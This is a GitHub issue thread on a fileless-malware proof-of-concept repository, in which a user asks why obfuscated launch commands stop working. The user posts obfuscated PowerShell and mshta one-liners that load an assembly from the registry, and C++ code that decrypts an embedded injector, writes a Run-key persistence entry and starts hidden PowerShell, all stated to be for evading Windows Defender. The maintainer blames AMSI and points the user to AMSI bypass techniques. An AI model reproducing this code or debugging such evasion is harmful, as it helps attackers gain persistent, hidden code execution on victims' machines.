bytecode77 / living-off-the-land

Fileless attack with persistence
https://bytecode77.com/living-off-the-land
BSD 2-Clause "Simplified" License
278 stars 52 forks source link

Can't obfuscate OR encrypt run/start commands #13

Open mrapxs opened 1 month ago

mrapxs commented 1 month ago

I'm thinking it's due to string escapes but I have NO idea. I want to obfuscate it so windows defender doesn't stop execution. I've tried putting the following into Invoke-Obfuscation

powershell "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\\Microsoft\\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)"

and put the output in like this (omitting the base64 so it's not giant)

LPCSTR runCommand = "CMD /C \"SET NOZ=(neW-OBJEcT io.CompREssION.dEFlatEstreAm([SystEm.iO.meMOryStREaM][SYSteM.CONVERT]::frOMBASe64StRinG('++nT09l9XJyel/'), [sYsTeM.Io.COMprESsiON.COmpRessioNmODe]::DecomPReSs) ^ | % {neW-OBJEcT SYStem.Io.STReaMrEAdeR($_, [texT.EncodING]::aScIi)} ^ | % {$_.rEaDToend()}) ^ | &($vErBOsepReFeRENcE.TOSTRIng()[1,3] + 'x' -Join '') && mshta.eXE VBScript : CReATeObJECt('WSCRIPT.ShEll').RUn('powershell . (${pshomE}[21] + ${pshoME}[34] + 'X') ((.( '{0}{1}' -f 'gC', 'i' ) ('{2}{0}{1}' -f 'nv:', 'NOZ', 'E')).'valUE')\", 1, TRue)(WINDOw.CLosE)\"";

But I get no output. With any type of obfuscation / encryption. Even tried encrypting at runtime but `#include

include

include

include

include

include

include

include

include "../Global/NativeRegistry.h"

include "resource.h"

pragma comment (lib, "crypt32.lib")

bool EncryptData(const BYTE* pbData, DWORD cbData, std::vector& encryptedData) { HCRYPTPROV hCryptProv = NULL; HCRYPTKEY hKey = NULL; HCRYPTHASH hHash = NULL; DWORD dwBlockLen; DWORD dwBufferLen; DWORD dwCount; bool fSuccess = false;

// Get handle to the default provider.
if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
{
    std::cerr << "Error during CryptAcquireContext: " << GetLastError() << std::endl;
    goto exit;
}

// Create a hash object.
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash))
{
    std::cerr << "Error during CryptCreateHash: " << GetLastError() << std::endl;
    goto exit;
}

// Hash data.
if (!CryptHashData(hHash, pbData, cbData, 0))
{
    std::cerr << "Error during CryptHashData: " << GetLastError() << std::endl;
    goto exit;
}

// Create a symmetric key.
if (!CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey))
{
    std::cerr << "Error during CryptDeriveKey: " << GetLastError() << std::endl;
    goto exit;
}

// Determine size of the encrypted block.
dwBlockLen = 0;
if (!CryptEncrypt(hKey, NULL, TRUE, 0, NULL, &dwBlockLen, 0))
{
    std::cerr << "Error determining size of the encrypted block: " << GetLastError() << std::endl;
    goto exit;
}

encryptedData.resize(dwBlockLen);

// Encrypt data.
if (!CryptEncrypt(hKey, NULL, TRUE, 0, &encryptedData[0], &dwBlockLen, encryptedData.size()))
{
    std::cerr << "Error during CryptEncrypt: " << GetLastError() << std::endl;
    goto exit;
}

fSuccess = true;

exit: if (hHash) CryptDestroyHash(hHash); if (hKey) CryptDestroyKey(hKey); if (hCryptProv) CryptReleaseContext(hCryptProv, 0);

return fSuccess;

}

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Read Injector.exe from resources HRSRC injectorResource = FindResourceA(NULL, MAKEINTRESOURCEA(IDR_INJECTOR), "EXE"); if (!injectorResource) return 0;

DWORD injectorSize = SizeofResource(NULL, injectorResource);
if (injectorSize == 0) return 0;

LPBYTE injectorResourceData = (LPBYTE)LockResource(LoadResource(NULL, injectorResource));
if (!injectorResourceData) return 0;

// Decrypt Injector.exe using a simple XOR algorithm
LPBYTE injector = new BYTE[injectorSize];
BYTE xorKey = 0x77;
for (DWORD i = 0; i < injectorSize; i++)
{
    injector[i] = injectorResourceData[i] ^ xorKey;
    xorKey += 5;
}

std::string powershellCommand = "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\\Microsoft\\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)";

std::vector<BYTE> encryptedCommand;
if (!EncryptData((const BYTE*)powershellCommand.c_str(), powershellCommand.length(), encryptedCommand))
{
    std::cerr << "Error encrypting PowerShell command." << std::endl;
    return 0;
}

std::string startupCommand = "mshta \"javascript:close(new ActiveXObject('WScript.Shell').run('powershell \\\"";
startupCommand += std::string((char*)encryptedCommand.data(), encryptedCommand.size()); // Add the encrypted command
startupCommand += "\\\",0))\"";

if (!nt_cpp::SetValue(nt_cpp::GetCurrentUserPath() + L"\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\0X", nt_cpp::Udc(std::wstring(startupCommand.begin(), startupCommand.end())))) return 0;

std::string runCommand = "\"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\"Software\\\\Microsoft\\\\Internet Explorer\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"";
ShellExecuteA(NULL, "open", "powershell", runCommand.c_str(), NULL, SW_HIDE);

return 0;

}`

Still nothing. I'm really confused what I'm doing wrong tbh.

bytecode77 commented 1 month ago

This is possibly due to AMSI. It basically means, that powershell sends your binary to AV for analysis. Try google "AMSI bypass". I've done an implementation in my other project here. However, this won't work on a registry value due to the sheer length. That's why I used a scheduled task instead.

AMSI bypass is not implemented in this PoC, because it's just way too heavy. But you may manage to implement it.